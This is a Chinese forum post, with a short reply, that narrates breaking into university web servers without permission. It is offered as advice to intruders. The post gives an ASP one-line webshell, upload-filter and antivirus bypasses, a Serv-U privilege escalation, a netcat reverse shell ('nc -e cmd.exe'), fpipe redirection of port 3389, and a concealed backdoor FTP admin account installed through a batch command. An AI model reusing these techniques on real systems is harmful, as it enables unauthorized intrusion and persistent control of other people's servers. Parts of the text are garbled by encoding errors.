管理員的玩笑管理員權(quán)限上傳漏洞解析

紋身青年岳飛

這兩天很無聊，趁著放假的時(shí)間就準(zhǔn)備練習(xí)下自己的入侵技術(shù)，沒有什么目標(biāo)就準(zhǔn)備測(cè)試下周圍大學(xué)網(wǎng)站的安全性，順便拿網(wǎng)站練練手。大部分這些網(wǎng)站的管理員應(yīng)該說安全意識(shí)都不錯(cuò)的，畢竟都是大學(xué)的管理員�。】墒菧y(cè)試結(jié)果很不近人意，最后結(jié)果都拿到了管理員權(quán)限。但是也并不是一帆風(fēng)順的，好多時(shí)候管理員總是設(shè)置些不大不小的障礙，跟人開的玩笑還真有點(diǎn)讓人一下子不知道怎么辦。這里寫出來的意思算就是給各位入侵者一些小小的經(jīng)驗(yàn)和管理員一點(diǎn)點(diǎn)的提醒吧！ \r\n\r\n廢話少說，我就把入侵中遇到的一些小麻煩組合到一次入侵中吧！現(xiàn)在的網(wǎng)站一般都有防火墻，一些很有錢的大學(xué)甚至?xí)�有硬件防火墻，所以從開始我就沒有打算從正面突破，隨便telnet了幾個(gè)端口在看到長長的延時(shí)后就直接轉(zhuǎn)到了web程序方面。看了下網(wǎng)站的應(yīng)用程序，都是asp版本的，可是看了一會(huì)發(fā)現(xiàn)有個(gè)url管理系統(tǒng)下面的版權(quán)所有赫然寫著2002-2003！汗，這樣的程序一般是漏洞齊全��！于是找了一個(gè)隱藏的url然后直接%5c暴庫，得到路徑后下載數(shù)據(jù)庫，得到帳號(hào)密碼后到新聞系統(tǒng)直接進(jìn)入后臺(tái)，修改上傳類型為可以上傳asp文件，然后……（這里是介紹突破管理員的一些設(shè)置，就不講如何入侵了和抓圖了，反正大家都很熟悉^_^）。 \r\n\r\n馬上遇到管理員跟我們開的第一個(gè)玩笑了，上傳的時(shí)候明明已經(jīng)修改為可以上傳asp的文件類型，但是就是提示不允許，嘿嘿，沒關(guān)系，我修改為可以上傳cer文件得到上傳的木馬如圖一。于是我興沖沖的準(zhǔn)備寫asp木馬了，用的是修改了的海洋木馬，這里保存為了test.asp文件，但是訪問的時(shí)候居然是404不存在。汗，有殺毒軟件？沒關(guān)系，呵呵，再保存為cer文件試試，居然還是404！于是又選擇保存為gif居然都失敗了,include預(yù)處理的方法都不行了。于是保存一個(gè)內(nèi)容為<%execute(request(\"#\"))%>的文本文檔，再訪問的時(shí)候過了一段時(shí)間居然可以訪問，基本確定是很BT的殺毒軟件了。不過對(duì)<%execute(request(\"#\"))%>內(nèi)容不過濾那就好辦啊，將<%execute(request(\"#\"))%>保存為一個(gè)111.asp。哈哈，出來了！用客戶端連上去，OK！如圖二。避開殺毒軟件了。這里，算是管理員設(shè)置的一個(gè)阻礙吧！這里我看到好多人躲開殺毒軟件的辦法都是加密的方式，但是還是躲不開一個(gè)execute()函數(shù)的，如果殺毒軟件將這個(gè)字符串也列為查殺對(duì)象的話，估計(jì)還得搞點(diǎn)大小寫轉(zhuǎn)換的技巧。還有一種木馬是以<OBJECTRUNAT=ServerID=fsclassid=\'clsid:0D43FE01-F093-11CF-8940-00A0C9054228\'></OBJECT>例似的形式，后面就是加密或者不加密的代碼了，但是還是逃不了那個(gè)<OBJECTRUNAT=Server��！看來管理員同志需要做的更徹底了哦！^_^ \r\n\r\n好了，連上去了四處看看可是好象有一個(gè)文件夾居然不能操作�。】纯�，上傳文件總是出現(xiàn)如圖三。開始還以為出現(xiàn)什么問題呢，明明不存在同名文件啊，以為是權(quán)限的原因，但是我不是已經(jīng)寫上了asp文件么？奇怪！看了半天看到文件夾的名字里有個(gè)#號(hào)。汗，不會(huì)是這個(gè)搞的鬼吧！當(dāng)時(shí)一些管理員為防止人下載將數(shù)據(jù)庫名字里加這個(gè)#，這位倒很有個(gè)性啊，在文件夾里加這個(gè)，不知道的人還真郁悶?zāi)兀『俸�！，在操作里�?改成%23，哈哈果然可以操作了。管理員第二個(gè)小玩笑就這樣被破除了。 \r\n\r\n可以操作文件后當(dāng)然是看是否可以提升權(quán)限了，打開海洋木馬操作命令，出現(xiàn)的情況有點(diǎn)郁悶。提示文件無法被打開啊！如圖四。一般這樣的情況要么是cmd.exe被設(shè)置了權(quán)限要么就是這個(gè)目錄不可以寫，不能保存temp文件。好說，先上傳個(gè)cmd.exe到這個(gè)目錄試試。上傳后在cmd.exe路徑里填寫該cmd.exe文件的路徑，再執(zhí)行netuser試試，哈哈，出來了吧！這是比較幸運(yùn)的情況，有時(shí)候什么都可以傳上去，但是cmd.exe就是傳不上去，不過也沒有關(guān)系啊！我一般直接傳上net.exe然后在參數(shù)里寫上user或者start，效果一樣的好��！如圖五呵呵！這里就看看netstart里的有個(gè)server-u，哈哈。死定了他！其實(shí)這在海洋木馬的查看進(jìn)程里也可以看到的。于是傳上server-u本地溢出工具，嘿嘿，執(zhí)行命令成功！不用說了，這是system權(quán)限啊！輕松突破設(shè)置得不嚴(yán)密的權(quán)限。 \r\n\r\n本以為開個(gè)3389可以走人了，但是管理員的第四個(gè)玩笑可是有意思��！居然除了80端口外什么端口都連不上，估計(jì)有什么我所不明白的軟件吧！不過找了半天也不知道那個(gè)服務(wù)是防火墻。上次突破一臺(tái)主機(jī)有windows自帶防火墻，我直接server-u溢出停掉他了！我有system權(quán)限我怕誰？這里你禁止向內(nèi)連接偶就不信你還能拒絕對(duì)外連接。馬上本地監(jiān)聽端口，然后用溢出執(zhí)行命令nc-ecmd.exeipport，如圖六。不一會(huì)果然這里就有cmdshell了，最高權(quán)限哦！如圖七。嘿嘿，管理員的防火墻在我們看來不也就是個(gè)玩笑了么？如果你想上他的3389的話，可以在夜深人靜的時(shí)候上傳fpipe執(zhí)行 \r\n\r\nfpipe-l80-r3389127.0.0.1 \r\n\r\n不過最好先把他的iis停掉（知道為什么叫你夜深人靜的時(shí)候動(dòng)手吧！^_^）。這樣的防火墻就只是個(gè)不會(huì)看門的玩物了。 \r\n\r\n不過，入侵是要留個(gè)后門的，方便�；貋砜纯�，80端口的web就不要管了，插入的幾個(gè)海洋服務(wù)端估計(jì)他是查不出的。最好不要用灰鴿子之類的東西了，他殺毒軟件那么BT，遲早有一天被K，有server-u的話還是建立個(gè)后門帳戶的比較好點(diǎn)，不會(huì)被殺，還實(shí)惠。可是這里我沒有直接添加server-u帳戶的工具，自己編譯代碼也不會(huì)，不過菜鳥有菜鳥的辦法。將他的serveru配置文件下載下來到本機(jī)，做了個(gè)備份后，添加特權(quán)帳號(hào)的過程我就不寫了，如圖八不過最后我用了fc命令比較那兩個(gè)文件。嘿嘿，因?yàn)槠┤绨姹咎?hào)什么的都會(huì)自動(dòng)更改，還有注冊(cè)碼都變成本機(jī)的了，本著不要改變主機(jī)設(shè)置的原則進(jìn)程id什么的我就不改了。注意，默認(rèn)添加的帳號(hào)是在文件的最后面，一眼就可以看出來，這里我把他弄到中間去了，這個(gè)比較隱蔽�？墒钱�(dāng)我添加完成后。再用木馬傳到主機(jī)上去，因?yàn)槭莄:\\下面的，所以沒有改寫的權(quán)限。不過先寫個(gè)批處理傳上去，然后用得到的cmdshell執(zhí)行。內(nèi)容如下 \r\n\r\ndel\"C:\\ProgramFiles\\Serv-U\\ServUAdmin.ini\"&&copyH:\\z$df#web\\ServUAdmin.iniC:\\ProgramFiles\\Serv-U\\ \r\n\r\n執(zhí)行后先連接他的21端口發(fā)現(xiàn)居然沒開，汗！管理員還記得玩這樣的把戲！想了一會(huì)，還是跑到配置文件的最下面看到 \r\n\r\n[DOMAINS] \r\nDomain1=202.x.x.x||1221|ftp.xxx.edu.cn|1|0|0 \r\n\r\n赫然的1221在那里呢！馬上連上去，心愛的server-u連接界面跳出來了！激動(dòng)ing!不只這些，好多朋友在進(jìn)入主機(jī)后都找不到3389之類的端口。netstat-an看下，運(yùn)氣好的話還能看出來，運(yùn)氣不好的話就……呵呵！不過沒有關(guān)系，server-u的端口在ini文件里，3389的就在注冊(cè)表里，拿到權(quán)限可以讀出來�。∵�有，如果有高權(quán)限的cmdshell話，直接上傳fport全都出來。呵呵！管理員最后的一個(gè)玩笑也被突破，事情搞定。 \r\n\r\n其實(shí)這些管理員的安全意識(shí)也不差，知道設(shè)置cmd.exe權(quán)限，知道防火墻殺毒軟件一起上，知道哪些文件危險(xiǎn)，知道屏蔽端口，可是這些對(duì)付一些普通的掃描和溢出是可以的，但是對(duì)一個(gè)方面的重視是不夠的，要記得木桶理論，重視web安全，把入侵者擋在系統(tǒng)之外遠(yuǎn)比設(shè)置一些似乎管用的障礙更重要！而對(duì)于安全愛好者而言，也要有永不放棄的精神，多動(dòng)腦筋，不要缺乏想象力什么樣的障礙一定可以突破的。

qian3123102

:rose: :rose: :rose: :rose: :rose: